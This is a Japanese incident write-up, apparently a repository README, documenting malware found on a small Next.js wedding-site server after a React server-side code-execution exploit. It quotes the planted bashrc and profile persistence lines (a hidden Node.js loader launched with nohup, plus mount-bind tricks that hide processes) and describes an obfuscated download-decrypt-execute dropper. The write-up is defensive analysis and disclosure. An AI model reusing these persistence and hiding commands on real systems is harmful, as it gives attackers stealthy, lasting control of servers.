
サーバー上で見つけたマルウェア
これは、Reactのサーバーサイドレンダリングのコード実行エクスプロイトを受けて、結婚式のウェブサイトのサーバー上で見つけたマルウェアやその他の不審なジャンクのダンプです。小さなDigitalOceanドロップレットで、ごく普通のNext.jsアプリが動いていました。
CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
さまざまなスパイクなどを示すサーバーアクティビティのログ:

メインの悪者は、/.local/share/.r0qsv8h1 にインストールされているもののようです。
bashrc内:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep の行は、この別の偽の "meshagent" マルウェアが実行されるのを防ぐためのものです。詳細は MESHAGENT.md を参照してください。
プロファイルにも同じものがあります:
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
他の不審なサービスについては SUSPICIOUS_SERVICES.md を参照してください。
以下はこのメインの悪質なマルウェアの分析です:
bad ディレクトリには、高度に難読化された JavaScript ファイル一式とともに、自己完結型の Node.js ランタイムが含まれています。
すべての証拠は、これが悪意のあるドロッパーであり、リモートサーバーに静かに接続し、暗号化されたペイロードをダウンロード、復号化し、ディスクに書き込み、切り離されたバックグラウンドプロセスとして実行することを示しています。また、コードは定期的にサーバーをチェックしてアップデートを取得します。
.5f8562 のBase64ペイロードは次のようにデコードされる:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" はメインの難読化ローダースクリプトを参照。"0" はUUIDで、リモートサーバーが追跡のために使用する可能性が高い。"3" はタイムスタンプ(Unixエポックミリ秒)で、マニフェストが生成された時刻を示す。"4" は意図された場所(desktop)を示し、ペイロードがそこに隠れようとする可能性を示唆する。node .5f8562)、マニフェストが .fvq2lzj6te.js を指す。setInterval タイマーがダウンロード・復号化・実行のシーケンスを定期的に繰り返し、攻撃者がさらなるユーザー操作なしに新しいペイロードや更新されたペイロードをプッシュできるようにする。PATH、cwd など)で実行され、クリプトマイニング、認証情報の窃取、リモートコマンド実行などの典型的な悪意のある動作を行う可能性がある。.r0qsv8h1 ディレクトリ全体と、それが作成した可能性のあるファイル(ユーザーの Desktop や一時ディレクトリで新しく作成された実行ファイルを確認)を削除する。この分析は、AIアシスタントがディレクトリに存在するファイルの静的検査に基づいて自動的に実行したものです。ランタイム実行は行われていません。
詳細は DEOBFUSCATE.md を参照してください。
| ファイル | 説明 |
|---|
.394ly8v9/README.md | 標準的なNode.jsのREADME – 悪意のある機能とは無関係。バンドルを正当に見せるためにのみ存在。 |
.fvq2lzl64e.js | 約5KBの難読化JavaScript。JSON-RPC HTTPリクエストを構築し、base64エンコードされたペイロードを受信し、カスタム暗号で復号化し、ランダムなファイルに書き込み、child_process.spawn / execSync で実行する。また、リモートサーバーを繰り返しポーリングする切り離されたバックグラウンドプロセスを生成する。 |
.lauphhtqrg.js | 約13KBの難読化JavaScript。独自のRC4風暗号(dec)を使用した同様のダウンロード・復号化・実行ループを実装。復号化されたペイロードを生成されたファイル名に書き込み、実行する。後で新しいペイロードを取得するためのタイマーを設定する。 |
.5f8562 | プレーンテキストのBase64文字列。小さなJSONマニフェストにデコードされる: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } このマニフェストは、ローダーにどのスクリプトを実行するか(.fvq2lzj6te.js)を指示し、識別子/タイムスタンプを提供する。 |
.b0rtqscrkeov | まだ調査していないが、命名パターンから同じ悪意のあるチェーンの別のコンポーネントである可能性がある。 |
bin/node および付随する lib/ ファイル | 完全なNode.jsランタイム。システムにNode.jsがインストールされていなくてもスクリプトを実行できるようにする。 |